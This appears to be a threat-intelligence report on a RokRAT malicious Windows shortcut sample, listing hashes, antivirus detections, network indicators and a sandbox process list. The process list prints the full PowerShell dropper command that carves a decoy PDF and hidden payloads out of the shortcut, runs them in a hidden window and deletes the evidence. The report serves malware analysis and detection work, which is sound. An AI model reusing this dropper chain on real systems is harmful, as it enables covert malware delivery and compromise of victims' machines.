b1025baa59609708315326fe4279d8113f7af3f292470ef42c33fccbb8aa3e56

Classification: Malicious

b1025baa59609708315326fe4279d8113f7af3f292470ef42c33fccbb8aa3e56 is a trojan (script, 56.2 MB). Detected by 65 antivirus engines. Linked to Rokrat malware.

Detection summary

  • 65 antivirus detections
  • 1 IDS alerts
  • 14 processes observed
  • 1 contacted hosts
  • 1 DNS requests

MITRE ATT&CK associations

Malware families: ROKRAT (S0240)

Blacklist sightings

Description Source First seen Last seen Labels MITRE ATT&CK
ROKRAT MalwarePatrol 2026-03-03 18:32:23 2026-03-03 18:32:23 malicious-activity S0240 ROKRAT
Generic Malware Hybrid-Analysis 2024-04-03 08:45:04 2024-04-03 09:30:05

Tags

rokrat

Sample information

Filenames
b1025baa59609708315326fe4279d8113f7af3f292470ef42c33fccbb8aa3e56
File type
MS Windows shortcut, Has Description string, Has c ...
Size
58894509 bytes
MD5
358122718ba11b3e8bb56340dbe94f51
SHA-1
0c61effe0c06d57835ead4a574dde992515b9382
SHA-256
b1025baa59609708315326fe4279d8113f7af3f292470ef42c33fccbb8aa3e56
First indexed
2024-04-03 08:20:53
Last updated
2026-10-01 02:14:37

Antivirus detections

EngineDetection
AVGLNK:Agent-HN [Trj]
AvastLNK:Agent-HN [Trj]
KasperskyHEUR:Trojan.WinLNK.Powecod.c
KingsoftScript.Troj.BigLnk.22142
RisingTrojan.Agent/LNK!1.AA03 (CLASSIC)
SentinelOneStatic AI - Suspicious LNK
SkyhighBehavesLike.Dropper.rx
SophosTroj/LnkDrop-M
SymantecScr.Mallnk!gen13
VBA32Trojan.Link.Crafted
ZoneAlarmHEUR:Trojan.WinLNK.Powecod.c
ALYacTrojan.Agent.LNK.Gen
AhnLab-V3Dropper/LNK.Generic.S2343
ArcabitHeur.BZC.YAX.Pantera.190.595B4A6D
BitDefenderHeur.BZC.YAX.Pantera.190.595B4A6D
DrWebTrojan.MulDrop26.49513
ESET-NOD32LNK/TrojanDropper.Agent.DV
EmsisoftHeur.BZC.YAX.Pantera.190.595B4A6D (B)
FireEyeHeur.BZC.YAX.Pantera.190.595B4A6D
FortinetLNK/Agent.4F51!tr
GDataHeur.BZC.YAX.Pantera.190.595B4A6D
GoogleDetected
LionicTrojan.WinLNK.Pantera.4!c
MAXmalware (ai score=89)
McAfeeGeneric .yl
MicrosoftTrojan:Win32/ROKRATLNK.DB!MTB
SymantecScr.Heuristic!gen20
TencentWin32.Trojan.Powecod.Zolw
VIPREHeur.BZC.YAX.Pantera.190.595B4A6D
VaristLNK/ABTrojan.WCSH-
ViRobotLNK.S.Dropper.58894509
ZillyaDropper.Agent.Script.483
alibabacloudTrojan[dropper]:Win/ROKRATLNK.DK8PHU
ArcabitCMD:Heur.BZC.YAX.Pantera.190.C7E7A8C0
AviraLNK/Susp.Gen
BitDefenderCMD:Heur.BZC.YAX.Pantera.190.C7E7A8C0
BkavLNK.ScriptQH.Trojan
CAT-QuickHealLNK.RokRAT.48908 .GC
CTXlnk.trojan.generic
CynetMalicious (score: 99)
ESET-NOD32LNK/TrojanDropper.Agent.DV trojan
EmsisoftCMD:Heur.BZC.YAX.Pantera.190.C7E7A8C0 (B)
F-SecureMalware.LNK/Susp.Gen
GDataCMD:Heur.BZC.YAX.Pantera.190.C7E7A8C0
IkarusTrojan-Dropper.LNK.Agent
K7AntiVirusTrojan ( 0001140e1 )
K7GWTrojan ( 0001140e1 )
MicrosoftTrojan:Win32/WinLNK.HNDC!MTB
NANO-AntivirusTrojan.Script.Dropper.lcqwng
TrellixENSGeneric .yl
TrendMicroTrojan.LNK.ROKRAT.A
TrendMicro-HouseCallTrojan.LNK.ROKRAT.A
VIPRECMD:Heur.BZC.YAX.Pantera.190.C7E7A8C0
ZoneAlarmTroj/LnkDrop-M
huorongTrojan/LNK.Agent.aet
ArcabitCMD:Heur.BZC.YAX.Pantera.190.C249947B
BitDefenderCMD:Heur.BZC.YAX.Pantera.190.C249947B
CTXlnk.trojan.pantera
EmsisoftCMD:Heur.BZC.YAX.Pantera.190.C249947B (B)
GDataCMD:Heur.BZC.YAX.Pantera.190.C249947B
KingsoftScript.Troj.lnk.2024081
McAfeeDTrojan:Shortcut/GenericY.IZ
VBA32Trojan.Link.DoubleRun
VIPRECMD:Heur.BZC.YAX.Pantera.190.C249947B
VaristLNK/ABlTrojan.WCSH-

Network contacts

74.120.8.15

DNS requests

api.pcloud.com

Process list

NameCommand line
cmd.exe/k for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = 'C:\Users\HAPUBWS\AppData\Local\Temp'}; $lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x0382A8AD} | Select-Object -ExpandProperty FullName;$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$lnkFile.Seek(0x00001090, [System.IO.SeekOrigin]::Begin);$pdfFile=New-Object byte[] 0x004B4DD3;$lnkFile.Read($pdfFile, 0, 0x004B4DD3);$pdfPath = $lnkPath.replace('.lnk','.pdf');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;$lnkFile.Seek(0x004B5E63,[System.IO.SeekOrigin]::Begin);$exeFile=New-Object byte[] 0x000D9402;$lnkFile.Read($exeFile, 0, 0x000D9402);$exePath=$env:public+'\'+'panic.dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Seek(0x0058F265,[System.IO.SeekOrigin]::Begin);$stringByte = New-Object byte[] 0x000005A9;$lnkFile.Read($stringByte, 0, 0x000005A9);$batStrPath = $env:temp+'\'+'para.dat';$string = [System.Text.Encoding]::UTF8.GetString($stringByte);$string | Out-File -FilePath $batStrPath -Encoding ascii;$lnkFile.Seek(0x0058F80E,[System.IO.SeekOrigin]::Begin);$batByte = New-Object byte[] 0x00000135;$lnkFile.Read($batByte, 0, 0x00000135);$executePath = $env:temp+'\'+'price.bat';Write-Host $executePath;Write-Host $batStrPath;$bastString = [System.Text.Encoding]::UTF8.GetString($batByte);$bastString | Out-File -FilePath $executePath -Encoding ascii;& $executePath;$lnkFile.Close();remove-item -path $lnkPath -force;"&& exit
cmd.exe%WINDIR%\system32\cmd.exe /c dir %WINDIR%\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od
powershell.exeC:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe "$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = 'C:\Users\HAPUBWS\AppData\Local\Temp'}; $lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x0382A8AD} | Select-Object -ExpandProperty FullName;$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$lnkFile.Seek(0x00001090, [System.IO.SeekOrigin]::Begin);$pdfFile=New-Object byte[] 0x004B4DD3;$lnkFile.Read($pdfFile, 0, 0x004B4DD3);$pdfPath = $lnkPath.replace('.lnk','.pdf');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;$lnkFile.Seek(0x004B5E63,[System.IO.SeekOrigin]::Begin);$exeFile=New-Object byte[] 0x000D9402;$lnkFile.Read($exeFile, 0, 0x000D9402);$exePath=$env:public+'\'+'panic.dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Seek(0x0058F265,[System.IO.SeekOrigin]::Begin);$stringByte = New-Object byte[] 0x000005A9;$lnkFile.Read($stringByte, 0, 0x000005A9);$batStrPath = $env:temp+'\'+'para.dat';$string = [System.Text.Encoding]::UTF8.GetString($stringByte);$string | Out-File -FilePath $batStrPath -Encoding ascii;$lnkFile.Seek(0x0058F80E,[System.IO.SeekOrigin]::Begin);$batByte = New-Object byte[] 0x00000135;$lnkFile.Read($batByte, 0, 0x00000135);$executePath = $env:temp+'\'+'price.bat';Write-Host $executePath;Write-Host $batStrPath;$bastString = [System.Text.Encoding]::UTF8.GetString($batByte);$bastString | Out-File -FilePath $executePath -Encoding ascii;& $executePath;$lnkFile.Close();remove-item -path $lnkPath -force;"
AcroRd32.exe"C:\b1025baa59609708315326fe4279d8113f7af3f292470ef42c33fccbb8aa3e56.pdf"
cmd.exe%WINDIR%\system32\cmd.exe /c ""%TEMP%\price.bat""
powershell.exe-windowstyle hidden "$stringPath=$env:temp+'\'+'para.dat';$stringByte = Get-Content -path $stringPath -encoding byte;$string = [System.Text.Encoding]::UTF8.GetString($stringByte);$scriptBlock = [scriptblock]::Create($string);&$scriptBlock;"
csc.exe/noconfig /fullpaths @"%TEMP%\nxzosh2k\nxzosh2k.cmdline"
cvtres.exe/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC29C.tmp" "%TEMP%\nxzosh2k\CSC1163D53EE82E4174839BC2A1B5DBF4.TMP"
csc.exe/noconfig /fullpaths @"%TEMP%\lehpyyop\lehpyyop.cmdline"
cvtres.exe/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC55B.tmp" "%TEMP%\lehpyyop\CSC46326F15105749018B2A3CD095AF699D.TMP"
csc.exe/noconfig /fullpaths @"%TEMP%\qgnsibe2\qgnsibe2.cmdline"
cvtres.exe/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC6E2.tmp" "%TEMP%\qgnsibe2\CSC4D4B8F51D95A4DE6A64DCB61D021D.TMP"
csc.exe/noconfig /fullpaths @"%TEMP%\oeh5mfqv\oeh5mfqv.cmdline"
cvtres.exe/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC8C6.tmp" "%TEMP%\oeh5mfqv\CSC5724FBBB3C734109BDF84D3F157C6F40.TMP"